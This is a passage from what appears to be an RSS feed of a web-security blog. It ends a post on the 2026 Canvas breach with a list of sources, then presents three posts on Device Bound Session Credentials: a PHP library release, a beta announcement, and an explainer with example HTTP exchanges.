activity as production security telemetry, not as passive logs nobody reads.</li></ol><p></p><p>The goal is not just to &quot;fix XSS&quot;. The goal is to make sure that when XSS inevitably appears somewhere, it cannot jump from a low-privilege customer-controlled surface into a high-privilege employee session with access to everyone&#x2019;s data.</p><p></p><h4 id="sources">Sources</h4><p>Primary sources from Instructure:<br><a href="https://www.instructure.com/incident_update?ref=scotthelme.ghost.io">Instructure &#x2014; Security Incident Update &amp; FAQs</a> &#x2014; the official statement, including the line confirming <em>&quot;a vulnerability regarding support tickets in our Free for Teacher environment that was exploited.&quot;</em><br><a href="https://www.instructure.com/resources/webinar/technical-deep-dive-recent-security-incident?ref=scotthelme.ghost.io">Instructure &#x2014; Customer Webinar: Technical Deep Dive on Recent Security Incident</a> &#x2014; the May 18&#x2013;19 webinar with Chief Architect Zach Pendleton, CISO Steve Proud, and CrowdStrike&apos;s Head of Incident Response James Perry.</p><p>Phil Hill&apos;s coverage at On EdTech, which is the cleanest public summary of what Instructure disclosed in the webinar:<br><a href="https://onedtech.philhillaa.com/p/a-technical-deep-dive-is-not-a-crisis-response?ref=scotthelme.ghost.io">Phil Hill &#x2014; A Technical Deep Dive Is Not a Crisis Response</a> &#x2014; the source of the verbatim chain (support ticket on April 22, rep session theft on April 25, API exfiltration April 28&#x2013;30, second XSS in discussions, themes CSS pivot to ~300 accounts on May 7).<br><a href="https://onedtech.philhillaa.com/p/instructure-is-risking-the-trust-that-built-canvas?ref=scotthelme.ghost.io">Phil Hill &#x2014; Instructure Is Risking the Trust That Built Canvas</a><br><a href="https://onedtech.philhillaa.com/p/one-step-forward-one-step-back-instructure-cyber-attack-2026?ref=scotthelme.ghost.io">Phil Hill &#x2014; One Step Forward, One Step Back</a></p><p>Mainstream press coverage of the incident:<br><a href="https://www.bleepingcomputer.com/news/security/instructure-confirms-hackers-used-canvas-flaw-to-deface-portals/?ref=scotthelme.ghost.io">BleepingComputer &#x2014; Instructure confirms hackers used Canvas flaw to deface portals</a><br><a href="https://www.bleepingcomputer.com/news/security/canvas-login-portals-hacked-in-mass-shinyhunters-extortion-campaign/?ref=scotthelme.ghost.io">BleepingComputer &#x2014; Canvas login portals hacked in mass ShinyHunters extortion campaign</a><br><a href="https://www.bleepingcomputer.com/news/security/instructure-reaches-agreement-with-shinyhunters-to-stop-data-leak/?ref=scotthelme.ghost.io">BleepingComputer &#x2014; Instructure reaches &apos;agreement&apos; with ShinyHunters to stop data leak</a><br><a href="https://techcrunch.com/2026/05/07/hackers-deface-school-login-pages-after-claiming-another-instructure-hack/?ref=scotthelme.ghost.io">TechCrunch &#x2014; Hackers deface school login pages after claiming another Instructure hack</a><br><a href="https://www.theregister.com/cyber-crime/2026/05/12/congress-investigates-canvas-breach-after-instructure-cuts-deal-with-shinyhunters/5238927?ref=scotthelme.ghost.io">The Register &#x2014; Congress investigates Canvas breach after Instructure cuts deal with ShinyHunters</a><br><a href="https://thehackernews.com/2026/05/instructure-reaches-ransom-agreement.html?ref=scotthelme.ghost.io">The Hacker News &#x2014; Instructure Reaches Ransom Agreement with ShinyHunters</a><br><a href="https://www.malwarebytes.com/blog/news/2026/05/shinyhunters-escalates-canvas-attacks-with-school-login-defacements?ref=scotthelme.ghost.io">Malwarebytes &#x2014; ShinyHunters escalates Canvas attacks with school login defacements</a></p><p>Government and regulatory:<br><a href="https://fsapartners.ed.gov/knowledge-center/library/electronic-announcements/2026-05-12/technology-security-alert-ongoing-cybersecurity-incident-involving-canvas-learning-management-system?ref=scotthelme.ghost.io">US Department of Education &#x2014; Federal Student Aid security alert, May 12 2026</a></p><p>Vendor analysis:<br><a href="https://businessinsights.bitdefender.com/technical-advisory-shinyhunters-breach-instructure-canvas-lms?ref=scotthelme.ghost.io">Bitdefender &#x2014; Technical Advisory: ShinyHunters Breach of Instructure Canvas LMS</a><br><a href="https://www.trendmicro.com/en_us/research/26/e/What-Is-the-Instructure-Canvas-Breach.html?ref=scotthelme.ghost.io">Trend Micro &#x2014; What Is the Instructure Canvas Breach?</a><br><a href="https://ailearninsights.substack.com/p/what-can-we-infer-from-canvass-technical?ref=scotthelme.ghost.io">AI Learn Insights &#x2014; What Can We Infer from Canvas&apos;s Technical Deep Dive?</a></p><p>Technical references mentioned in the article:<br><a href="https://github.com/instructure/canvas-lms?ref=scotthelme.ghost.io">Canvas LMS on GitHub</a> &#x2014; the open-source codebase, including the <code>canvas_sanitize</code> gem responsible for HTML sanitisation.<br><a href="https://github.com/instructure/canvas-lms/blob/master/gems/canvas_sanitize/lib/canvas_sanitize/canvas_sanitize.rb?ref=scotthelme.ghost.io"><code>canvas_sanitize</code> gem source</a> &#x2014; the allowlist-based HTML sanitiser referenced when discussing the difficulty of inline-HTML injection paths.<br><a href="https://nvd.nist.gov/vuln/detail/CVE-2021-36539?ref=scotthelme.ghost.io">CVE-2021-36539</a> &#x2014; a prior Canvas vulnerability in the DocViewer / <code>canvadoc_session_url</code> code path, illustrating the document-previewer angle.</p><p>Prior art &#x2014; historical Canvas XSS research (separate from the 2026 incident, but illustrative of the recurring UGC-rendering pattern):<br><a href="https://github.com/andrew-healey/canvas-lms-vuln?ref=scotthelme.ghost.io">andrew-healey/canvas-lms-vuln</a> &#x2014; Rich Content Editor XSS via outdated jQuery and a broken image handler.<br><a href="https://github.com/andrew-healey/example-canvas-xss-attack?ref=scotthelme.ghost.io">andrew-healey/example-canvas-xss-attack</a> &#x2014; MathJax <code>\phantom{\unicode{...}}</code> bypass via the math-equation insertion path in discussions, journals and assignments.</p><p>Wikipedia (timeline reference only):<br><a href="https://en.wikipedia.org/wiki/2026_Canvas_security_incident?ref=scotthelme.ghost.io">2026 Canvas security incident &#x2014; Wikipedia</a></p><p></p><p></p>]]></content:encoded>
            </item>
            <item>
                <title><![CDATA[Open-Sourcing dbsc-php: a Server Library for Device Bound Session Credentials in PHP]]></title>
                <description><![CDATA[<p>We&#x2019;ve open-sourced <a href="https://packagist.org/packages/report-uri/dbsc-php?ref=scotthelme.ghost.io" rel="noreferrer">dbsc-php</a>, a small PHP library that makes it easier to deploy Device Bound Session Credentials and turn stolen session cookies into something far less useful. It&apos;s MIT-licensed, pure-PHP, and available on Packagist now!</p><p></p><figure class="kg-card kg-image-card"><a href="https://report-uri.com/?ref=scotthelme.ghost.io"><img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/06/report-uri-logo-1.png" class="kg-image" alt loading="lazy" width="800" height="70" srcset="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/06/report-uri-logo-1.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/06/report-uri-logo-1.png 800w" sizes="(min-width: 720px) 720px"></a></figure><p></p><h4 id="what-is-dbsc">What is DBSC?</h4><p>If you&apos;d</p>]]></description>
                <link>https://scotthelme.ghost.io/open-sourcing-dbsc-php-a-server-library-for-device-bound-session-credentials-in-php/</link>
                <guid isPermaLink="false">6a244e5d2b2c280001660c90</guid>
                <category><![CDATA[Report URI]]></category>
                <category><![CDATA[DBSC]]></category>
                <category><![CDATA[PHP]]></category>
                <dc:creator><![CDATA[Scott Helme]]></dc:creator>
                <pubDate>Mon, 08 Jun 2026 14:00:56 GMT</pubDate>
                <media:content url="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/06/dbsc-php.png" medium="image"/>
                <content:encoded><![CDATA[<img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/06/dbsc-php.png" alt="Open-Sourcing dbsc-php: a Server Library for Device Bound Session Credentials in PHP"><p>We&#x2019;ve open-sourced <a href="https://packagist.org/packages/report-uri/dbsc-php?ref=scotthelme.ghost.io" rel="noreferrer">dbsc-php</a>, a small PHP library that makes it easier to deploy Device Bound Session Credentials and turn stolen session cookies into something far less useful. It&apos;s MIT-licensed, pure-PHP, and available on Packagist now!</p><p></p><figure class="kg-card kg-image-card"><a href="https://report-uri.com/?ref=scotthelme.ghost.io"><img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/06/report-uri-logo-1.png" class="kg-image" alt="Open-Sourcing dbsc-php: a Server Library for Device Bound Session Credentials in PHP" loading="lazy" width="800" height="70" srcset="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/06/report-uri-logo-1.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/06/report-uri-logo-1.png 800w" sizes="(min-width: 720px) 720px"></a></figure><p></p><h4 id="what-is-dbsc">What is DBSC?</h4><p>If you&apos;d like to know more about DBSC, you should start with my blog post <a href="https://scotthelme.co.uk/device-bound-session-credentials-making-stolen-cookies-useless/?ref=scotthelme.ghost.io" rel="noreferrer">Device Bound Session Credentials: Making Stolen Cookies Useless</a> as that will cover everything you need to know. In short, DBSC lets a browser bind a session cookie to a device-held private key, so a stolen cookie alone is no longer enough to use the session elsewhere.</p><p>Alongside open-sourcing this library for the community, we&apos;re also running a <a href="https://scotthelme.co.uk/dbsc-beta-at-report-uri/?ref=scotthelme.ghost.io" rel="noreferrer">beta of DBSC at Report URI</a> using this very code, so check it out. </p><p></p><h4 id="why-we-built-it">Why we built it</h4><p>We deployed DBSC on Report URI and quickly found that the gap between &quot;what the spec says&quot; and &quot;how do we do that&quot; is wide enough to fall into. Several behaviours only surface once you&apos;re integrating against a real browser, and getting them subtly wrong means enforcement silently does nothing &#x2014; leaving you with exactly the stolen-cookie hole DBSC exists to close.</p><p>Rather than keep those hard-won corrections to ourselves, we&apos;ve packaged them up. The library is around 700 lines with zero dependencies beyond <code>ext-openssl</code> and <code>ext-json</code> &#x2014; small enough to audit in one sitting. The crypto is deliberately minimal: ES256 only, signature plus a single-use challenge nonce.</p><p></p><h4 id="what-we-got-wrong-so-you-dont-have-to">What we got wrong (so you don&apos;t have to)</h4><p>The library is useful, but the wire-protocol notes in the README are where a lot of the hard-won implementation value lives. A few of the corrections baked into the library:</p><p></p><ul><li>Registration is single-phase; refresh is two-phase (a 403 with a challenge, then a&#xA0;200). That&apos;s the opposite of how the spec reads at first glance.</li><li>Both the cookie value and the challenge must rotate on every refresh. Re-emit the same cookie value and Chrome decides no refresh happened and terminates<br>the session.</li><li>No <code>Secure-Session-Challenge</code> on the registration response, or Chrome reports a Challenge Error.</li><li><code>challengeTtl</code> must exceed <code>cookieMaxAge</code> so a challenge cached just before cookie expiry is still valid when it&apos;s used. The <code>Config</code> constructor enforces this<br>for you.</li></ul><p></p><p>There&apos;s also one non-obvious correctness requirement that bit us in production: keep DBSC state in its own dedicated key space, keyed by session id &#x2014; never inside a read-modify-written shared session blob. We originally stored it in the PHP session, where the post-login navigation races the registration POST, both rewrite the whole blob last-writer-wins, and the binding gets clobbered. Enforcement then silently no-ops. <code>StoreInterface</code> documents the requirement; back it with Redis or a table and you&apos;re fine.</p><p></p><h4 id="framework-agnostic-by-design">Framework-agnostic by design</h4><p>The library never touches a superglobal, sends a header, or sets a cookie. Every operation takes a <code>RequestContext</code> you build from your framework&apos;s request and returns a <code>DbscResponse</code> you apply to your framework&apos;s response. Storage is yours &#x2014; implement <code>StoreInterface</code> against whatever you already run (an <code>InMemoryStore</code> is bundled for tests and the demo).</p><p></p><pre><code class="language-php">use ReportUri\Dbsc{Config, DbscServer};
    
    $dbsc = new DbscServer(new Config(cookieName: &apos;__Host-myapp_dbsc&apos;), $myStore);</code></pre><p></p><p>A complete reference front controller lives in <code>_test/server.php</code>, and there&apos;s a self-contained test harness that generates a real EC P-256 device key, builds the JWTs exactly as Chrome does, and drives the full register/refresh/enforce/revoke flow plus the attack cases &#x2014; wrong device key, wrong or expired challenge, stale cookie, <code>alg=none</code>.</p><p></p><h4 id="getting-started">Getting Started</h4><p>DBSC is one of the most meaningful upgrades to session security in years, and the cost of adopting it is genuinely low. If you&apos;re running PHP and want to start binding sessions to devices, this should save you a lot of effort. Issues and PRs welcome.</p><p>Packagist: <a href="https://packagist.org/packages/report-uri/dbsc-php?ref=scotthelme.ghost.io" rel="noreferrer">report-uri/dbsc-php</a><br>Source &amp; docs: <a href="https://github.com/report-uri/dbsc-php?ref=scotthelme.ghost.io">https://github.com/report-uri/dbsc-php</a><br>The spec: <a href="https://github.com/w3c/webappsec-dbsc?ref=scotthelme.ghost.io" rel="noreferrer">w3c/webappsec-dbsc</a></p><p></p>]]></content:encoded>
            </item>
            <item>
                <title><![CDATA[DBSC Beta at Report URI]]></title>
                <description><![CDATA[<p>This week, I published a blog post about <a href="https://scotthelme.co.uk/device-bound-session-credentials-making-stolen-cookies-useless/?ref=scotthelme.ghost.io" rel="noreferrer">Device Bound Session Credentials</a>, a new technology that will significantly hamper the efforts of Infostealers and reduce the damage caused by stolen cookies. Today, we&apos;re announcing the beta of DBSC at Report URI!</p><p></p><figure class="kg-card kg-image-card"><a href="https://report-uri.co/?ref=scotthelme.ghost.io"><img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/06/report-uri-logo.png" class="kg-image" alt loading="lazy" width="800" height="70" srcset="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/06/report-uri-logo.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/06/report-uri-logo.png 800w" sizes="(min-width: 720px) 720px"></a></figure><p></p><h4 id="device-bound-session-credentials">Device Bound Session Credentials</h4><p>You should definitely</p>]]></description>
                <link>https://scotthelme.ghost.io/dbsc-beta-at-report-uri/</link>
                <guid isPermaLink="false">6a200eb4b5ac0c00013dfa00</guid>
                <category><![CDATA[Report URI]]></category>
                <category><![CDATA[DBSC]]></category>
                <dc:creator><![CDATA[Scott Helme]]></dc:creator>
                <pubDate>Fri, 05 Jun 2026 14:22:22 GMT</pubDate>
                <media:content url="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/06/dbsc-beta.png" medium="image"/>
                <content:encoded><![CDATA[<img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/06/dbsc-beta.png" alt="DBSC Beta at Report URI"><p>This week, I published a blog post about <a href="https://scotthelme.co.uk/device-bound-session-credentials-making-stolen-cookies-useless/?ref=scotthelme.ghost.io" rel="noreferrer">Device Bound Session Credentials</a>, a new technology that will significantly hamper the efforts of Infostealers and reduce the damage caused by stolen cookies. Today, we&apos;re announcing the beta of DBSC at Report URI!</p><p></p><figure class="kg-card kg-image-card"><a href="https://report-uri.co/?ref=scotthelme.ghost.io"><img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/06/report-uri-logo.png" class="kg-image" alt="DBSC Beta at Report URI" loading="lazy" width="800" height="70" srcset="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/06/report-uri-logo.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/06/report-uri-logo.png 800w" sizes="(min-width: 720px) 720px"></a></figure><p></p><h4 id="device-bound-session-credentials">Device Bound Session Credentials</h4><p>You should definitely check out my blog post from yesterday for the full details - <a href="https://scotthelme.co.uk/device-bound-session-credentials-making-stolen-cookies-useless/?ref=scotthelme.ghost.io">Device Bound Session Credentials: Making Stolen Cookies Useless</a></p><p>The TLDR is that cookies are now bound to the device that they were issued to, so if an attacker is able to steal a cookie from your device, it&apos;s no longer possible to session-hijack you and take over your account. This is an increasingly common pattern that we&apos;re seeing with recent Infostealer malware strains, and is a change in strategy for attackers as account security surrounding passwords, 2FA and Passkeys continues to improve. </p><p></p><h4 id="joining-the-beta">Joining the Beta</h4><p>As noted in my blog post linked above, DBSC is currently only supported in Chrome on Windows, with macOS coming soon, but if that works for you, you can request to join the current beta.</p><p>Simply drop an email to support@ from your registered email address and request to join the DBSC Beta. Once your account has been added to the beta, you can log out and log in again, and then you will be able to see if your session is device bound on the Settings -&gt; Manage Sessions section of your account. </p><p></p><figure class="kg-card kg-image-card"><img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/06/image.png" class="kg-image" alt="DBSC Beta at Report URI" loading="lazy" width="920" height="352" srcset="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/06/image.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/06/image.png 920w" sizes="(min-width: 720px) 720px"></figure><p></p><p>It&apos;s as simple as that, and now you have an incredibly robust protection on your account!</p><p></p><h4 id="feedback">Feedback</h4><p>As this is a beta, we&#x2019;re especially interested in feedback on browser compatibility, session behaviour, and anything unexpected during login or session management. If you experience any problems at all, or have any feedback, just let us know.</p><p></p>]]></content:encoded>
            </item>
            <item>
                <title><![CDATA[Device Bound Session Credentials: Making Stolen Cookies Useless]]></title>
                <description><![CDATA[<p>A stolen session cookie can be vastly more powerful than a stolen password. The attacker doesn&#x2019;t need to phish the user, bypass MFA, or defeat their passkey; they simply replay the cookie and step straight into a fully authenticated session. That&#x2019;s why info-stealers love browser</p>]]></description>
                <link>https://scotthelme.ghost.io/device-bound-session-credentials-making-stolen-cookies-useless/</link>
                <guid isPermaLink="false">6a0b32f508297800018dba89</guid>
                <category><![CDATA[Report URI]]></category>
                <category><![CDATA[DBSC]]></category>
                <category><![CDATA[PHP]]></category>
                <dc:creator><![CDATA[Scott Helme]]></dc:creator>
                <pubDate>Tue, 02 Jun 2026 10:59:38 GMT</pubDate>
                <media:content url="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/05/dbsc.png" medium="image"/>
                <content:encoded><![CDATA[<img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/05/dbsc.png" alt="Device Bound Session Credentials: Making Stolen Cookies Useless"><p>A stolen session cookie can be vastly more powerful than a stolen password. The attacker doesn&#x2019;t need to phish the user, bypass MFA, or defeat their passkey; they simply replay the cookie and step straight into a fully authenticated session. That&#x2019;s why info-stealers love browser cookies: they turn the messy business of account compromise into a simple copy and paste operation. Device Bound Session Credentials, or DBSC, neutralise this attack by making the cookie useful on the single device where the user logged in, and nowhere else. </p><p></p><h3 id="authentication-is-getting-stronger-sessions-are-still-weak">Authentication Is Getting Stronger, Sessions Are Still Weak</h3><p>I tweeted about this anecdotally recently but I really do feel like this point stands, and it&apos;s something that really struck me at the time.</p>
    <!--kg-card-begin: html-->
    <blockquote class="twitter-tweet"><p lang="en" dir="ltr">It&#x2019;s kind of crazy that after all the progress we&#x2019;ve made with passwords, 2FA, and now passkeys, the end result is still just&#x2026; a cookie!<br><br>Attackers will follow the value and take the path of least resistance, and that means shifting to abusing the authenticated session instead.&#x2026; <a href="https://t.co/gGBbv81N7r?ref=scotthelme.ghost.io">https://t.co/gGBbv81N7r</a></p>&#x2014; Scott Helme (@Scott_Helme) <a href="https://twitter.com/Scott_Helme/status/2046950139810447509?ref_src=twsrc%5Etfw&amp;ref=scotthelme.ghost.io">April 22, 2026</a></blockquote> <script async src="https://platform.twitter.com/widgets.js" charset="utf-8"></script>
    <!--kg-card-end: html-->
    <p></p><p>I&apos;ve long pushed for things that help boost account security, all of the things mentioned in my tweet. We all know they&apos;re a good idea and it&apos;s most likely that if you&apos;re here reading this post on my blog, a security/technical blog, you probably have all of these bases covered. </p><ul><li>Strong, unique passwords on your accounts, probably in a password manager.</li><li>2FA enabled, most likely TOTP. </li><li>Passkeys where supported, they&apos;re gaining momentum.</li></ul><p></p><p>But what I said in that tweet is right, if not a little limited on character count. All of those steps are for the initial authentication. The first time you land on the site and want to log in, you have to prove who you are, you have to authenticate. You punch in your password, supply your TOTP code, and the website says &quot;Hi Scott&quot;. They&apos;ve successfully authenticated you. But now we have a problem, because HTTP is a stateless protocol. I don&apos;t want to have to provide my password and TOTP code on every single request to prove who I am, I want the website to remember who I am. I want to maintain state!</p><pre><code>set-cookie: sess=wo358oh9f3wy8gh</code></pre><p></p><p>This little cookie, issued to us after we successfully authenticated, is exactly how we do that. This is how the website remembers that I am Scott, and all I have to do is provide it with each request that I send.</p><pre><code>cookie: sess=wo358oh9f3wy8gh</code></pre><p></p><p>When the website receives a request with that cookie, it can look it up in the session store and say &quot;Aha! This is Scott&quot;.</p><p>That&apos;s it, that&apos;s all we get. That little string of characters called a cookie. No matter how good your password is, how many 2FA mechanisms you have, and whether or not you&apos;re up to your eyeballs in passkeys, that cookie is now your proof of identity. This is also why they&apos;re so dangerous, because when an attacker steals it, they become you. </p><p></p><h3 id="the-path-of-least-resistance">The Path of Least Resistance</h3><p>As account security improves, traditional attacks are becoming more difficult for attackers. In distant times they might have had a field day with a good password dictionary, but now, on the modern Web, attackers have had to become more sophisticated. Yes, phishing is still the most likely attack to be effective against users right now, but if passkeys keep gaining momentum, attackers are going to lose that arrow from their quiver too. When that happens, they&apos;ll do what they always do and move to the next weakest link in the chain, and we&apos;re already seeing signs that this is happening with the rise of the InfoStealer threat.</p><p>MITRE tracks <a href="https://attack.mitre.org/techniques/T1539/?ref=scotthelme.ghost.io" rel="noreferrer">Steal Web Session Cookie</a> as a real adversary technique because stolen session cookies can allow an attacker to access services as an already-authenticated user, without needing the user&#x2019;s credentials.</p><p>Microsoft <a href="https://www.microsoft.com/en-us/security/blog/2026/02/02/infostealers-without-borders-macos-python-stealers-and-platform-abuse/?ref=scotthelme.ghost.io" rel="noreferrer">describes</a> modern InfoStealers as malware that collects not just passwords, but also session cookies and authentication tokens, which makes them directly relevant to post-login session hijacking.</p><p>Google <a href="https://knowledge.workspace.google.com/admin/security/prevent-cookie-theft-with-session-binding?ref=scotthelme.ghost.io" rel="noreferrer">describes</a> cookie theft as an attack where malware steals a user&#x2019;s session cookie, allowing the attacker to impersonate the user and continue their authenticated session.</p><p></p><p>InfoStealers have changed the economics of account takeover. Attackers no longer need to defeat the login process if they can steal the session artefacts created after the login process has already taken place. That makes session cookies an obvious target: steal the cookie, replay the session, and bypass login security altogether.</p><p></p><h3 id="device-bound-session-credentials">Device Bound Session Credentials</h3><p>To neutralise the off-device replay of a stolen cookie, to even know that a cookie has been stolen and is being abused by an attacker, the application only needs to answer a simple question.</p><blockquote>Is this cookie being sent from the same device it was issued to?</blockquote><p></p><p>That is the promise of Device Bound Session Credentials (<a href="https://www.w3.org/TR/dbsc/?ref=scotthelme.ghost.io" rel="noreferrer">spec</a>). DBSC turns a normal bearer-style session cookie into something much stronger: a session that is cryptographically bound to the device it was issued to. The core benefit is simple and powerful: <strong>a stolen cookie is no longer enough</strong>.</p><p>Today, applications often try to detect suspicious session use with signals like source IP, user agent strings, geolocation, device fingerprints, or behavioural checks. Those signals can be useful, but they are also noisy, unreliable, easy to change, and can raise valid privacy concerns. DBSC takes a clean approach. Instead of the application trying to infer whether a request came from the original device, the browser can prove it.</p><p>It does that using asymmetric cryptography. During registration, the browser generates a new key pair for the session. The private key remains securely on the device, while the public key is shared with the application. Later, when the application needs to refresh the short-lived session cookie, the browser must prove possession of the private key. If it can produce a valid signature, the application knows the request came from the device that created the session. If an attacker only has a stolen cookie, but not the private key, the session cannot be refreshed.</p><p>That changes the value of a stolen cookie dramatically. Instead of being a portable bearer token that can be replayed from anywhere, the cookie becomes tied to the original device. Stealing it is no longer enough to take over the session.</p><p></p><h3 id="dbsc-registration">DBSC Registration</h3><p>An application that supports DBSC indicates this to the browser by returning an HTTP response header:</p><p><code>Secure-Session-Registration: (ES256); path=&quot;/dbsc/register&quot;; challenge=&quot;abc123&quot;</code></p><p></p><p>If the browser supports DBSC, it now knows where it can register the session and enable protection. To do that, the browser will generate a new key pair and sign the challenge with the private key. The public key and signed challenge are then returned to the application, which will verify the signature. If the signature validates, the application can store the public key against the session and issue a new short-lived cookie. Subsequent requests will now be required to include this short-lived cookie, which should be valid for a very short period of time, perhaps 3-5 minutes at most. Here&apos;s a diagram to give a nice overview of the DBSC Registration process.</p><p></p><figure class="kg-card kg-image-card"><img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/05/dbsc-registration.png" class="kg-image" alt="Device Bound Session Credentials: Making Stolen Cookies Useless" loading="lazy" width="1055" height="1491" srcset="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/05/dbsc-registration.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w1000/2026/05/dbsc-registration.png 1000w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/05/dbsc-registration.png 1055w" sizes="(min-width: 720px) 720px"></figure><p></p><p>As the DBSC cookie is only valid for a very short period, it is of course going to need to be renewed quite regularly, but we don&apos;t want that process to have a negative impact on the responsiveness of the site. To make sure that doesn&apos;t happen, the browser will proactively renew the DBSC cookie before expiry, in the background, as required. In step 4 above, when the DBSC registration was confirmed, the application will return a JSON payload similar to this:</p><pre><code class="language-http">HTTP/1.1 200 OK
    Content-Type: application/json
    Sec-Secure-Session-Id: 9c2b7f3e1a
    Set-Cookie: dbsc=5e0a91c4d7; Path=/; Secure; HttpOnly; SameSite=Lax; Max-Age=300</code></pre><pre><code class="language-json">{
      &quot;session_identifier&quot;: &quot;9c2b7f3e1a&quot;,
      &quot;refresh_url&quot;: &quot;/dbsc/refresh&quot;,
      &quot;scope&quot;: {
        &quot;origin&quot;: &quot;https://report-uri.com&quot;,
        &quot;include_site&quot;: false
      },
      &quot;credentials&quot;: [
        {
          &quot;type&quot;: &quot;cookie&quot;,
          &quot;name&quot;: &quot;dbsc&quot;,
          &quot;attributes&quot;: &quot;Path=/; Secure; HttpOnly; SameSite=Lax&quot;
        }
      ]
    }</code></pre><p></p><p>The browser has now set the DBSC cookie on the device and it has the information on where to refresh the cookie, and how often it needs to do it.</p><p></p><h3 id="dbsc-refresh">DBSC Refresh</h3><p>The refresh process for DBSC is also really simple, and there can be a two-step process or a one-step process, depending on the circumstances. I will go through the two-step process and cover everything, but most of the time you&apos;re only ever going to see the one-step process.</p><p>There are two circumstances where the browser is going to refresh the DBSC cookie:</p><ol><li>You&apos;re actively browsing a site and the DBSC cookie is approaching expiration. The browser will proactively and transparently refresh the DBSC cookie in the background, with no interruption to your browsing. </li><li>You navigate to a site where you&apos;re still logged in but the DBSC cookie has since expired, or perhaps you bring an old/dormant tab back to focus where the DBSC cookie has expired. The browser will first refresh the DBSC cookie and then conduct the navigation/reload.</li></ol><p></p><p>To start the refresh process, the browser will send a request to the refresh endpoint advertised when DBSC was registered above. Step 1:</p><pre><code class="language-http">POST /dbsc/refresh HTTP/1.1
    Host: report-uri.com
    Sec-Secure-Session-Id: 9c2b7f3e1a
    Content-Length: 0</code></pre><p></p><p>The application will then respond and issue the challenge to the browser:</p><pre><code class="language-http">HTTP/1.1 403 Forbidden
    Secure-Session-Challenge: &quot;def456&quot;; id=&quot;9c2b7f3e1a&quot;
    Sec-Secure-Session-Id: 9c2b7f3e1a
    Content-Length: 0</code></pre><p></p><p>Now the browser has the challenge we can move on to Step 2. The browser will prove possession of the private key by signing the challenge and returning it to the application.</p><pre><code class="language-http">POST /dbsc/refresh HTTP/1.1
    Host: report-uri.com
    Sec-Secure-Session-Id: 9c2b7f3e1a
    Content-Type: application/jwt
    Content-Length: 1337
    
    eyJhbGciOiJFUzI1NiIsInR5cCI6Imp3dCJ9.eyJhdWQiOiJodHRwczovL3JlcG9ydC11cmku
    Y29tL2Ric2MvcmVmcmVzaCIsImp0aSI6ImtRMnZOOWFaN3RSNHhXMXBMNnlKM21FOHNCNWRI
    Y1VmIiwiaWF0IjoxNzE2MjMwNDAwLCJzdWIiOiI3ZjNjMWE5MGIyNGU0ZDhlOWMxYThiN2Yz
    YzFhOTBiMiJ9.MEUCIQDx7w...truncated</code></pre><p></p><p>The application can now verify that signature using the public key stored against the session and if it validates, the browser has proven possession of the private key, so we can issue a new DBSC cookie.</p><pre><code class="language-http">HTTP/1.1 200 OK
    Set-Cookie: dbsc=R8wF2nQ6yV; Max-Age=300; Path=/; Secure; HttpOnly; SameSite=Lax
    Secure-Session-Challenge: &quot;ghi789&quot;; id=&quot;9c2b7f3e1a&quot;
    Sec-Secure-Session-Id: 9c2b7f3e1a
    Content-Type: application/json
    Content-Length: 312</code></pre><pre><code class="language-json">{
      &quot;session_identifier&quot;: &quot;9c2b7f3e1a&quot;,
      &quot;refresh_url&quot;: &quot;/dbsc/refresh&quot;,
      &quot;scope&quot;: { 
        &quot;origin&quot;: &quot;https://report-uri.com&quot;,
        &quot;include_site&quot;: false,
        &quot;scope_specification&quot;: [] 
      },
      &quot;credentials&quot;: [
        { 
          &quot;type&quot;: &quot;cookie&quot;,
          &quot;name&quot;: &quot;dbsc&quot;,
          &quot;attributes&quot;: &quot;Path=/; Secure; HttpOnly; SameSite=Lax&quot;
        }
      ]
